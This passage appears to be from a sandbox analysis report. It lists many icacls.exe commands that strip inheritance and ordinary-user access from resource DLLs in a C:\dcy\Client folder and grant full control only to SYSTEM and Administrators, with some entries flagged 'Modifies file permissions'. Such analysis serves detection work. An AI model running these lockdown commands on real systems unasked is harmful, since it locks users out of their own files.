      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4316
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1176
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de-DE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de-DE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3104
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\el-GR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5800
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\el-GR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3916
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\en-GB\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2488
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\en-GB\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5356
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5852
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2616
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4924
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:248
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3948
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:752
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3336
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3636
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5668
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4628
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4136
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3024
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2460
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es-ES\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3664
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es-ES\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5076
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es-MX\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es-MX\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5696
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\et-EE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2288
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\et-EE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4296
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\eu-ES\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2864
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\eu-ES\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4900
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fa-IR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4944
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fa-IR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4620
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fi-FI\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fi-FI\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2636
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1372
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:460
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4568
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2100
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2740
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5972
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1604
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3780
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5856
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4576
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1096
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2108
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2096
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4772
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2332
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5520
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2928
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr-CA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1216
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr-CA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2924
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr-FR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6084
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr-FR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2608
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\gl-ES\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6132
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\gl-ES\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4400
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\he-IL\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4436
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\he-IL\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3872
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hi-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4108
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hi-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hr-HR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1136
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hr-HR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2424
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hu-HU\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4612
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hu-HU\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2916
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\id-ID\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4664
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\id-ID\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2980
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\is-IS\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:692
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\is-IS\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3976
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5208
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4536
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5676
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2368
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3404
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2088
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1512
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4828
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4524
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5364
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4288
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3604
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1464
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it-IT\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5984
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it-IT\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5300
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:792
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3816
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:996
